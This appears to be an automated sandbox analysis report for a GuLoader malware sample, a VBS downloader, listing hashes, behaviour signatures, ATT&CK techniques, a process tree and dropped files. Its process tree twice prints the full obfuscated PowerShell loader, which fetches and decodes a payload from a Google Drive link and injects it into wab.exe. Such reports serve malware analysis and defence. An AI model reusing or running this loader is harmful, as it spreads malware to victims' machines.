guloader | f2d8703d0b3ec39872caf5d17b2dd6258e73b2b87923524dec5a9f86d343589b

Analysis

max time kernel
146s
max time network
154s
platform
windows10-2004_x64
resource
win10v2004-20240412-en
resource tags

arch:x64arch:x86image:win10v2004-20240412-enlocale:en-usos:windows10-2004-x64system
submitted
19/04/2024, 02:11

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
f2d8703d0b3ec39872caf5d17b2dd6258e73b2b87923524dec5a9f86d343589b.vbs
Size 278KB
Sample240419-cmkmwsfa2w
SHA256 f2d8703d0b3ec39872caf5d17b2dd6258e73b2b87923524dec5a9f86d343589b
MD5 180a5b7cf2e35e007a1e0044061cd2b2
SHA1 d5c71006c6e401a04c670d847d9d0d9f8d919798
SHA512 c9fe962710bb23bc0a2cfdcb7ec2ba5f00396d429f5026cd083d45e398790923829304378ea735dd8205cd82d88757d504e55b7f0bb671f9ca4a9d2444cd3819
SSDEEP 6144:LwdAYDLBLW+8A1ytW3xrbjsSFuHeEC57kdmXl45zaoGGqAP3MQ9scOdy8TeJ15UL:EnS2Imc7J15kAl6
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

guloader downloader

Malware Config

Signatures

Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
downloader guloader

Blocklisted process makes network request 3 IoCs

flow	pid	Process
4	2588	WScript.exe
30	2248	powershell.exe
32	2248	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4092317236-2027488869-1227795436-1000\Control Panel\International\Geo\Nation	WScript.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
48	drive.google.com
29	drive.google.com
30	drive.google.com

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
3488	powershell.exe
4368	wab.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3488 set thread context of 4368	3488	powershell.exe	101

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
2248	powershell.exe
2248	powershell.exe
3488	powershell.exe
3488	powershell.exe
3488	powershell.exe

Suspicious behavior: MapViewOfSection 4 IoCs

pid	Process
3488	powershell.exe
3488	powershell.exe
3488	powershell.exe
3488	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2248	powershell.exe
Token: SeDebugPrivilege	3488	powershell.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 2588 wrote to memory of 2248	2588	WScript.exe	89
PID 2588 wrote to memory of 2248	2588	WScript.exe	89
PID 2248 wrote to memory of 64	2248	powershell.exe	91
PID 2248 wrote to memory of 64	2248	powershell.exe	91
PID 2248 wrote to memory of 3488	2248	powershell.exe	93
PID 2248 wrote to memory of 3488	2248	powershell.exe	93
PID 2248 wrote to memory of 3488	2248	powershell.exe	93
PID 3488 wrote to memory of 1160	3488	powershell.exe	94
PID 3488 wrote to memory of 1160	3488	powershell.exe	94
PID 3488 wrote to memory of 1160	3488	powershell.exe	94
PID 3488 wrote to memory of 3228	3488	powershell.exe	98
PID 3488 wrote to memory of 3228	3488	powershell.exe	98
PID 3488 wrote to memory of 3228	3488	powershell.exe	98
PID 3488 wrote to memory of 5088	3488	powershell.exe	99
PID 3488 wrote to memory of 5088	3488	powershell.exe	99
PID 3488 wrote to memory of 5088	3488	powershell.exe	99
PID 3488 wrote to memory of 3872	3488	powershell.exe	100
PID 3488 wrote to memory of 3872	3488	powershell.exe	100
PID 3488 wrote to memory of 3872	3488	powershell.exe	100
PID 3488 wrote to memory of 4368	3488	powershell.exe	101
PID 3488 wrote to memory of 4368	3488	powershell.exe	101
PID 3488 wrote to memory of 4368	3488	powershell.exe	101
PID 3488 wrote to memory of 4368	3488	powershell.exe	101
PID 3488 wrote to memory of 4368	3488	powershell.exe	101

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\f2d8703d0b3ec39872caf5d17b2dd6258e73b2b87923524dec5a9f86d343589b.vbs"
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2588
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Stvlungerne = 1;$fortolkningsregler='Substrin';$fortolkningsregler+='g';Function Indhyller($Stopcocks){$Doktrinr=$Stopcocks.Length-$Stvlungerne;For($Kammeret=5; $Kammeret -lt $Doktrinr; $Kammeret+=(6)){$Kaabens+=$Stopcocks.$fortolkningsregler.Invoke($Kammeret, $Stvlungerne);}$Kaabens;}function Kompensationer($Hornerah){. ($Hovedleverandr) ($Hornerah);}$Modviljer=Indhyller 'PinboMNeph.oDes xzAteleiTaagel,yudvlZo ioaKoeks/ ibli5Kips..H ter0.mmis Tensa(AcidiWFinisi ,ahinFortad AereoVandfw nfissOpnor Rha.sNHoneyTPostp Froom1Snowi0 begr.Micr.0Outsn;Ban.k RoterWUltraiMagnenCinna6Ki,es4 Swar; Klas Homodx D.sg6Un,uc4Hyp.n;spids yrvrr.ychnvpaasp:Indka1 Par.2Krm e1Speci. envy0Visem)Stram F rheGretabeBldercAa.dekRigsao.onby/Pd at2 ecr0spise1Ap,ea0Benza0Afmrk1Tantr0Judex1Fejni Lic.eF.ilkoi AfterFurcue.okkefS ormoNonacx Tele/ Tros1Vapor2.epha1Com.u.exart0Ambra ';$Grundoperationer=Indhyller 'UdmaaU StersJ,liaePrecorVella-TandpAReturgPareneS iron Themt Kupl ';$Bragozzo=Indhyller 'FejlrhPeopltCoppetFingepTogatsSkrig: Afbe/Secur/ Dis,dHaw ir ForviSemimvSoph,eAl.yd.VirkngAf.snotilm.oNoming nonpllgdeteL ndw.Indgrc VimpoSsingmStart/Skildu GonecCalio?HouseeLedi.xUnfanpMa,leo.napprAerodtLandb=TianedIchtho St,mwOverenMed.clPropao SamoaToyshdMicro&ForariUnfoodHotbo= ruer1Sko,f_DeltiYEcc ad Trin-StudeKUdkrnJNeckgR ,lleHChe rQSa,ra4profyd Jam PPla,lFGub.rnTri eL LuftyPapis_MersdsBodin4Embr YCor,bYDiskftSandjmPenge4RullenrrdamJ Uovej.ickspUnderwChrisADegump BrilUEkspa ';$Trulss=Indhyller 'Uplan>Erhve ';$Hovedleverandr=Indhyller 'Dat miKnol eMo erxPseud ';$Slsomstes = Indhyller ' .oroe Wi.tcPur,thabhoroAgele Tyran%,ompuabyldepunt ipNicked.toleaInge.tCodifaSd.in% Humm\NedsaG RigowVaremicoun,nKend.i inceaPhy.od Opd .opt gUBridgn oblicviewo .eebu&lapse&Medal IsoimeF,rstc IndihSis,loFuldt ,ngif$proje ';Kompensationer (Indhyller 'Indda$preingAlrunlFarmaoTillgbSacchaPent,lDexte:Isl.mB K.rilSrhe o belbmAff.ksSamfutU.dege SkabrLackwbPrepolTwitcaQua rd Indde Vr.i=Evict(SenatcDiskomB.sejd icro Loric/FlemscBands Unint$ mistSShanklFa vesTugbooLnintm,aanesOmkldtCo.maeA,rivsHavan)Under ');Kompensationer (Indhyller 'Propu$LargegVestll,oortoH,nslbFing.a.nganl Udpl:D ffeBjordbeKontemStanguT tand.agerd AfbalStaireContrdInde = enof$AfsbeBAlsidrBrokbaFixatgal.usoEmbedzbra,dzSpeedoSkrup.Humans Morop SkuflChecki,ogant ndig(Inact$ LoniTAsyndrExt,ruStahllRov.isUnef,sBallo)Seque ');$Bragozzo=$Bemuddled[0];Kompensationer (Indhyller 'Rebes$ RamegU.iqulAnodioK.rrobRideraSpaamlHype : receOT.vetvAflaseVestmrR.admt.oprohPri keComm,a SkabtE.verrForariContacPiuchaunsh,lOur,unSamlie KabisStangsIlleg=RetsbNtherieTambow Aman-SkideO HiatbSlvv,jFlavieDyngec,ntertFilat OpbrSTornyyS bsesO,bygt Melle ftamOptra.klag.NKaradeBankitScree.M lisW TetreFreckbTudbrC IbadlTran iTresae Inden TrtdtSk.ap ');Kompensationer (Indhyller 'Dumpe$ EnguO S.xovGranueSemimrSvir tDatanhP.eseeT ansa skiftA toxruncomi urqucK,llaaStorml Mis nEn opeS.pros FluesKnock.XylogHGigabe Gerra VrimdT.lgreSkibsrArbejs Kont[ Vill$GlobiG DirerMegaluDomprnHre ndUn,eco PopupPailleD nbirPseudaBreg tNiddiiAldero Di.sn Xer eArki,r,alyp]Forhr=Solen$ V,elMBandfo TilbdhemopvErrati BistlReo,pjSwal.eVar,crSamar ');$Automatically=Indhyller ' F skO Gra,v Be,teStumprLyd ktAjledhKampueAuletaForurtZarrir ParkiOp,alcHebeaaResurl IndrnSkuffe.atansDygtisX pho. B seD ElecoUrtidwpapi.nT lsalTredvoStrukaD,rsodFo soFunsatiGrutnl Elece Is.n( trig$PartiBRe,atrStreaaFlammgU.ifooFedt zBefstzHydrooBifil,Howfs$b odhNzelotoMicronSynendDat,tiPiarosNoncrtKlap,iSta dnGermyccoro tCa.efiInfusv BaraeAnthr) L ll ';$Automatically=$Blomsterblade[1]+$Automatically;$Nondistinctive=$Blomsterblade[0];Kompensationer (Indhyller ' Bacc$Pre.ngMis,olheglioGgepubW olia StralHelko:VandiPSeisee FelttValgtaOwerwrZechaaMulti=Ex er(DagloT GlypeArb jsPotwhtUnfa -Bes sP DeplapasfotfiskehMesom ,lges$Fi,tnN LdepoKaraknAspardCircuiGavltsArti,tDispri GlomnGall c Flout RepriUdplavAflukePolem).rdig ');while (!$Petara) {Kompensationer (Indhyller 'Kinde$SkytsgCuttalZionioBegetbWelteaEksemlBrand:TachiAM,ndsl.alanlUdtali Psy tGlemmtSydafeM nomrAwkwaaOverdtUnrumiHjf.eoskovsnSprin=Drage$Iod,ntRaam,rAppliuFll seTeg f ') ;Kompensationer $Automatically;Kompensationer (Indhyller 'MatheSScimitLadylaDouckrmolest F.br-Dy esSHe pmlNonmieKamu.eHist p ,eds Hel,i4Mispu ');Kompensationer (Indhyller ' Slib$Prim gDystolAf.enoSnorkb My caEnmaglAftdo:,oyouPGylpeeSilentSoubraUvisnrVarela Pa l=S,alk( P ndTLigsye Fl.esWre ttSmags-G.eblPShip aFenoltFucoih Tafd Texti$fremgNSaltaobewienKns od latti kists yromtUtry,iC.tronStifrcSaelgtEupnoiPolsgv WindeDetac)Maveo ') ;Kompensationer (Indhyller 'Demar$unpengStrb l deanoAe lib D saaNe julIndes: HendPPhalllRendeaRhiz,yIzlehgHar,hi Vir,rBeho,lQuill=Bobin$NervogBo ndlFore.o Unslb Mon,a YemelAmole:D ssoKSaddeosem st lantovar e1Dob.e4Be ge1,hroo+Tange+Stabi%Tekst$ZilasB Tat.eKleptmImbibu NuandFrdigdSterel Col,eWiteddTorbi. Dolmcallowo KlknuMiljrnNo,nitgambi ') ;$Bragozzo=$Bemuddled[$Playgirl];}Kompensationer (Indhyller ' dpan$Defi,gLandslKonedoRepubbX.lonaInci.lect.m:AffinBEegbeaSamucr Ekspr ,oggi BlingMilieuHylotdprotaaLibel Dif.e=Flert P lyGProloeRotartFinge-,ippeC Fri,o Li enM.oritCo fieHjssonConvetS.jpl Mone,$GemysNDemoroInternChar dmblemiLsesusModf,tToreaient enDeprecNonretIdeati F emvSkovse gla ');Kompensationer (Indhyller 'Impe.$NonpagPaat.l Aas.o Sassb Rec,aUnconl Refl: Tri IHomiln Hkled Chrol Br,ds Vag.nWarheiClarin FlakgSvaraeForlarExplan PotheIn.in Gge =Magne He,tu[InducSEnqu yMinaesDisp tSubree Ab dmTkk,n. TrefC unkeoEnstrnIsolavga,kae Forsrtaffet Aphi]Midla:Encap:UnderF Branr ChucoKadosmTurp B WorraIndbesSynkreFoun,6 .bio4LurifSBekmptKanarrOriyaiZonelnOvermgSnyde(,imme$Korp BFolkeaFarverS.tsarPodeliUnentg.ullyuPrecedUns,ea St r)Adven ');Kompensationer (Indhyller ' Ufor$ workgFeltml AbsooNon.abPrmieaDecarlAvena: versDImmuneMechaf,rsele UnpocGramntBlan iPorkfoSandwuDar isBerbe ,syc=Anoph Facu[ FaldSLead,ydrnlesProcet,vetmeOv rtmOmsal.LegemTOutpueH,lloxUdsvetReint.,ambuEHexa.nAutomcAntico AutodOverti MonsnDe.utgStoni] Tarm: Cirs: H,ngAUdstySMa.tiCOligoIBevisI Frui.OpklaGProbleSiamet Udr,SIntert LuskrDeadwi.etrin slowgMouge( Iron$Spir.IV.sumnref,rd.nkyllChemisPhysin.ardwiMoltenUnvesgArte,eFransrGevrenInitieTnder)C rom ');Kompensationer (Indhyller ' Happ$Ansgegcetacl,ubbaoEbbs bMadopaPleurl brev:ChamfUCapriramaingIncomoRac,snTo dei SjakaVerdenKurve= Gas,$MuseuDTetaneSpildfPrve e overcPurgetOverhiUn.aso SubmuSoelvsVege..KontosFrustuhaa,db LeansopsugtLabskrIndbliGulygnKont,gHypop(Frem,3 kueb2Bran,3Gawkd8 Sels7Frste4Z.mba, Nor,2Lamas8 Modu7 Disc5Knald1Nonpi)Vigti ');Kompensationer $Urgonian;"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2248
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Gwiniad.Unc && echo $"
    3⤵
    PID:64
- - C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Stvlungerne = 1;$fortolkningsregler='Substrin';$fortolkningsregler+='g';Function Indhyller($Stopcocks){$Doktrinr=$Stopcocks.Length-$Stvlungerne;For($Kammeret=5; $Kammeret -lt $Doktrinr; $Kammeret+=(6)){$Kaabens+=$Stopcocks.$fortolkningsregler.Invoke($Kammeret, $Stvlungerne);}$Kaabens;}function Kompensationer($Hornerah){. ($Hovedleverandr) ($Hornerah);}$Modviljer=Indhyller 'PinboMNeph.oDes xzAteleiTaagel,yudvlZo ioaKoeks/ ibli5Kips..H ter0.mmis Tensa(AcidiWFinisi ,ahinFortad AereoVandfw nfissOpnor Rha.sNHoneyTPostp Froom1Snowi0 begr.Micr.0Outsn;Ban.k RoterWUltraiMagnenCinna6Ki,es4 Swar; Klas Homodx D.sg6Un,uc4Hyp.n;spids yrvrr.ychnvpaasp:Indka1 Par.2Krm e1Speci. envy0Visem)Stram F rheGretabeBldercAa.dekRigsao.onby/Pd at2 ecr0spise1Ap,ea0Benza0Afmrk1Tantr0Judex1Fejni Lic.eF.ilkoi AfterFurcue.okkefS ormoNonacx Tele/ Tros1Vapor2.epha1Com.u.exart0Ambra ';$Grundoperationer=Indhyller 'UdmaaU StersJ,liaePrecorVella-TandpAReturgPareneS iron Themt Kupl ';$Bragozzo=Indhyller 'FejlrhPeopltCoppetFingepTogatsSkrig: Afbe/Secur/ Dis,dHaw ir ForviSemimvSoph,eAl.yd.VirkngAf.snotilm.oNoming nonpllgdeteL ndw.Indgrc VimpoSsingmStart/Skildu GonecCalio?HouseeLedi.xUnfanpMa,leo.napprAerodtLandb=TianedIchtho St,mwOverenMed.clPropao SamoaToyshdMicro&ForariUnfoodHotbo= ruer1Sko,f_DeltiYEcc ad Trin-StudeKUdkrnJNeckgR ,lleHChe rQSa,ra4profyd Jam PPla,lFGub.rnTri eL LuftyPapis_MersdsBodin4Embr YCor,bYDiskftSandjmPenge4RullenrrdamJ Uovej.ickspUnderwChrisADegump BrilUEkspa ';$Trulss=Indhyller 'Uplan>Erhve ';$Hovedleverandr=Indhyller 'Dat miKnol eMo erxPseud ';$Slsomstes = Indhyller ' .oroe Wi.tcPur,thabhoroAgele Tyran%,ompuabyldepunt ipNicked.toleaInge.tCodifaSd.in% Humm\NedsaG RigowVaremicoun,nKend.i inceaPhy.od Opd .opt gUBridgn oblicviewo .eebu&lapse&Medal IsoimeF,rstc IndihSis,loFuldt ,ngif$proje ';Kompensationer (Indhyller 'Indda$preingAlrunlFarmaoTillgbSacchaPent,lDexte:Isl.mB K.rilSrhe o belbmAff.ksSamfutU.dege SkabrLackwbPrepolTwitcaQua rd Indde Vr.i=Evict(SenatcDiskomB.sejd icro Loric/FlemscBands Unint$ mistSShanklFa vesTugbooLnintm,aanesOmkldtCo.maeA,rivsHavan)Under ');Kompensationer (Indhyller 'Propu$LargegVestll,oortoH,nslbFing.a.nganl Udpl:D ffeBjordbeKontemStanguT tand.agerd AfbalStaireContrdInde = enof$AfsbeBAlsidrBrokbaFixatgal.usoEmbedzbra,dzSpeedoSkrup.Humans Morop SkuflChecki,ogant ndig(Inact$ LoniTAsyndrExt,ruStahllRov.isUnef,sBallo)Seque ');$Bragozzo=$Bemuddled[0];Kompensationer (Indhyller 'Rebes$ RamegU.iqulAnodioK.rrobRideraSpaamlHype : receOT.vetvAflaseVestmrR.admt.oprohPri keComm,a SkabtE.verrForariContacPiuchaunsh,lOur,unSamlie KabisStangsIlleg=RetsbNtherieTambow Aman-SkideO HiatbSlvv,jFlavieDyngec,ntertFilat OpbrSTornyyS bsesO,bygt Melle ftamOptra.klag.NKaradeBankitScree.M lisW TetreFreckbTudbrC IbadlTran iTresae Inden TrtdtSk.ap ');Kompensationer (Indhyller 'Dumpe$ EnguO S.xovGranueSemimrSvir tDatanhP.eseeT ansa skiftA toxruncomi urqucK,llaaStorml Mis nEn opeS.pros FluesKnock.XylogHGigabe Gerra VrimdT.lgreSkibsrArbejs Kont[ Vill$GlobiG DirerMegaluDomprnHre ndUn,eco PopupPailleD nbirPseudaBreg tNiddiiAldero Di.sn Xer eArki,r,alyp]Forhr=Solen$ V,elMBandfo TilbdhemopvErrati BistlReo,pjSwal.eVar,crSamar ');$Automatically=Indhyller ' F skO Gra,v Be,teStumprLyd ktAjledhKampueAuletaForurtZarrir ParkiOp,alcHebeaaResurl IndrnSkuffe.atansDygtisX pho. B seD ElecoUrtidwpapi.nT lsalTredvoStrukaD,rsodFo soFunsatiGrutnl Elece Is.n( trig$PartiBRe,atrStreaaFlammgU.ifooFedt zBefstzHydrooBifil,Howfs$b odhNzelotoMicronSynendDat,tiPiarosNoncrtKlap,iSta dnGermyccoro tCa.efiInfusv BaraeAnthr) L ll ';$Automatically=$Blomsterblade[1]+$Automatically;$Nondistinctive=$Blomsterblade[0];Kompensationer (Indhyller ' Bacc$Pre.ngMis,olheglioGgepubW olia StralHelko:VandiPSeisee FelttValgtaOwerwrZechaaMulti=Ex er(DagloT GlypeArb jsPotwhtUnfa -Bes sP DeplapasfotfiskehMesom ,lges$Fi,tnN LdepoKaraknAspardCircuiGavltsArti,tDispri GlomnGall c Flout RepriUdplavAflukePolem).rdig ');while (!$Petara) {Kompensationer (Indhyller 'Kinde$SkytsgCuttalZionioBegetbWelteaEksemlBrand:TachiAM,ndsl.alanlUdtali Psy tGlemmtSydafeM nomrAwkwaaOverdtUnrumiHjf.eoskovsnSprin=Drage$Iod,ntRaam,rAppliuFll seTeg f ') ;Kompensationer $Automatically;Kompensationer (Indhyller 'MatheSScimitLadylaDouckrmolest F.br-Dy esSHe pmlNonmieKamu.eHist p ,eds Hel,i4Mispu ');Kompensationer (Indhyller ' Slib$Prim gDystolAf.enoSnorkb My caEnmaglAftdo:,oyouPGylpeeSilentSoubraUvisnrVarela Pa l=S,alk( P ndTLigsye Fl.esWre ttSmags-G.eblPShip aFenoltFucoih Tafd Texti$fremgNSaltaobewienKns od latti kists yromtUtry,iC.tronStifrcSaelgtEupnoiPolsgv WindeDetac)Maveo ') ;Kompensationer (Indhyller 'Demar$unpengStrb l deanoAe lib D saaNe julIndes: HendPPhalllRendeaRhiz,yIzlehgHar,hi Vir,rBeho,lQuill=Bobin$NervogBo ndlFore.o Unslb Mon,a YemelAmole:D ssoKSaddeosem st lantovar e1Dob.e4Be ge1,hroo+Tange+Stabi%Tekst$ZilasB Tat.eKleptmImbibu NuandFrdigdSterel Col,eWiteddTorbi. Dolmcallowo KlknuMiljrnNo,nitgambi ') ;$Bragozzo=$Bemuddled[$Playgirl];}Kompensationer (Indhyller ' dpan$Defi,gLandslKonedoRepubbX.lonaInci.lect.m:AffinBEegbeaSamucr Ekspr ,oggi BlingMilieuHylotdprotaaLibel Dif.e=Flert P lyGProloeRotartFinge-,ippeC Fri,o Li enM.oritCo fieHjssonConvetS.jpl Mone,$GemysNDemoroInternChar dmblemiLsesusModf,tToreaient enDeprecNonretIdeati F emvSkovse gla ');Kompensationer (Indhyller 'Impe.$NonpagPaat.l Aas.o Sassb Rec,aUnconl Refl: Tri IHomiln Hkled Chrol Br,ds Vag.nWarheiClarin FlakgSvaraeForlarExplan PotheIn.in Gge =Magne He,tu[InducSEnqu yMinaesDisp tSubree Ab dmTkk,n. TrefC unkeoEnstrnIsolavga,kae Forsrtaffet Aphi]Midla:Encap:UnderF Branr ChucoKadosmTurp B WorraIndbesSynkreFoun,6 .bio4LurifSBekmptKanarrOriyaiZonelnOvermgSnyde(,imme$Korp BFolkeaFarverS.tsarPodeliUnentg.ullyuPrecedUns,ea St r)Adven ');Kompensationer (Indhyller ' Ufor$ workgFeltml AbsooNon.abPrmieaDecarlAvena: versDImmuneMechaf,rsele UnpocGramntBlan iPorkfoSandwuDar isBerbe ,syc=Anoph Facu[ FaldSLead,ydrnlesProcet,vetmeOv rtmOmsal.LegemTOutpueH,lloxUdsvetReint.,ambuEHexa.nAutomcAntico AutodOverti MonsnDe.utgStoni] Tarm: Cirs: H,ngAUdstySMa.tiCOligoIBevisI Frui.OpklaGProbleSiamet Udr,SIntert LuskrDeadwi.etrin slowgMouge( Iron$Spir.IV.sumnref,rd.nkyllChemisPhysin.ardwiMoltenUnvesgArte,eFransrGevrenInitieTnder)C rom ');Kompensationer (Indhyller ' Happ$Ansgegcetacl,ubbaoEbbs bMadopaPleurl brev:ChamfUCapriramaingIncomoRac,snTo dei SjakaVerdenKurve= Gas,$MuseuDTetaneSpildfPrve e overcPurgetOverhiUn.aso SubmuSoelvsVege..KontosFrustuhaa,db LeansopsugtLabskrIndbliGulygnKont,gHypop(Frem,3 kueb2Bran,3Gawkd8 Sels7Frste4Z.mba, Nor,2Lamas8 Modu7 Disc5Knald1Nonpi)Vigti ');Kompensationer $Urgonian;"
    3⤵
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3488
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Gwiniad.Unc && echo $"
      4⤵
      PID:1160
  - - C:\Program Files (x86)\windows mail\wab.exe
      "C:\Program Files (x86)\windows mail\wab.exe"
      4⤵
      PID:3228
  - - C:\Program Files (x86)\windows mail\wab.exe
      "C:\Program Files (x86)\windows mail\wab.exe"
      4⤵
      PID:5088
  - - C:\Program Files (x86)\windows mail\wab.exe
      "C:\Program Files (x86)\windows mail\wab.exe"
      4⤵
      PID:3872
  - - C:\Program Files (x86)\windows mail\wab.exe
      "C:\Program Files (x86)\windows mail\wab.exe"
      4⤵
      Suspicious use of NtSetInformationThreadHideFromDebugger
      PID:4368

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

__PSScriptPolicyTest_gwme1dwf.3tu.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gwme1dwf.3tu.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

Gwiniad.Unc

Path C:\Users\Admin\AppData\Roaming\Gwiniad.Unc
Size 459KB
SHA256 0cb77286b205325d857e4c83106ecc4980041125a72e9486c31600ca168f372e
MD5 bdb3b93f9b6127781fb00660dc4f89d2
SHA1 d4e67da73cd9fc608580a49d741c0295ebf1faa1
SHA512 96cdb40c93065e13d49ddb87696578b59d40dade1fa817818ce7aa755579e6ac2e743a3f25258b72a791fa160bc50b47475a80aef967578a3729c56a8d012d25
SSDEEP 6144:HXXdEjEEFgU4mYli34jrDXrELFRRqzNAd3b5j/ZF1ceimaCR/6jOIZtmO9WUWtsc:3XGu4A46rDXruD+Avj/9cYN+/LktspYl
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/2248-36-0x00007FF8FAA80000-0x00007FF8FB541000-memory.dmp

Download

memory/2248-12-0x00007FF8FAA80000-0x00007FF8FB541000-memory.dmp

Download

memory/2248-13-0x000002536CD90000-0x000002536CDA0000-memory.dmp

Download

memory/2248-14-0x000002536CD90000-0x000002536CDA0000-memory.dmp

Download

memory/2248-82-0x00007FF8FAA80000-0x00007FF8FB541000-memory.dmp

Download

memory/2248-44-0x000002536CD90000-0x000002536CDA0000-memory.dmp

Download

memory/2248-2-0x000002536EE40000-0x000002536EE62000-memory.dmp

Download

memory/3488-41-0x0000000007290000-0x00000000072B2000-memory.dmp

Download

memory/3488-47-0x0000000008A40000-0x000000000A32D000-memory.dmp

Download

memory/3488-23-0x00000000058E0000-0x0000000005946000-memory.dmp

Download

memory/3488-33-0x0000000005A10000-0x0000000005D64000-memory.dmp

Download

memory/3488-34-0x0000000006030000-0x000000000604E000-memory.dmp

Download

memory/3488-35-0x0000000006060000-0x00000000060AC000-memory.dmp

Download

memory/3488-21-0x0000000005150000-0x0000000005172000-memory.dmp

Download

memory/3488-37-0x0000000004B90000-0x0000000004BA0000-memory.dmp

Download

memory/3488-38-0x0000000007860000-0x0000000007EDA000-memory.dmp

Download

memory/3488-39-0x00000000065C0000-0x00000000065DA000-memory.dmp

Download

memory/3488-40-0x0000000007330000-0x00000000073C6000-memory.dmp

Download

memory/3488-20-0x00000000051D0000-0x00000000057F8000-memory.dmp

Download

memory/3488-42-0x0000000008490000-0x0000000008A34000-memory.dmp

Download

memory/3488-19-0x0000000004B90000-0x0000000004BA0000-memory.dmp

Download

memory/3488-18-0x0000000074A20000-0x00000000751D0000-memory.dmp

Download

memory/3488-45-0x0000000004B90000-0x0000000004BA0000-memory.dmp

Download

memory/3488-46-0x0000000007570000-0x0000000007571000-memory.dmp

Download

memory/3488-22-0x0000000005870000-0x00000000058D6000-memory.dmp

Download

memory/3488-48-0x0000000074A20000-0x00000000751D0000-memory.dmp

Download

memory/3488-49-0x0000000008A40000-0x000000000A32D000-memory.dmp

Download

memory/3488-51-0x0000000004B90000-0x0000000004BA0000-memory.dmp

Download

memory/3488-52-0x0000000004B90000-0x0000000004BA0000-memory.dmp

Download

memory/3488-53-0x0000000077441000-0x0000000077561000-memory.dmp

Download

memory/3488-54-0x0000000004B90000-0x0000000004BA0000-memory.dmp

Download

memory/3488-55-0x0000000008A40000-0x000000000A32D000-memory.dmp

Download

memory/3488-17-0x0000000004A50000-0x0000000004A86000-memory.dmp

Download

memory/3488-79-0x0000000008A40000-0x000000000A32D000-memory.dmp

Download

memory/3488-78-0x0000000074A20000-0x00000000751D0000-memory.dmp

Download

memory/4368-71-0x0000000000400000-0x00000000005E4000-memory.dmp

Download

memory/4368-73-0x0000000000E20000-0x000000000270D000-memory.dmp

Download

memory/4368-58-0x00000000774C8000-0x00000000774C9000-memory.dmp

Download

memory/4368-57-0x0000000077441000-0x0000000077561000-memory.dmp

Download

memory/4368-56-0x0000000000E20000-0x000000000270D000-memory.dmp

Download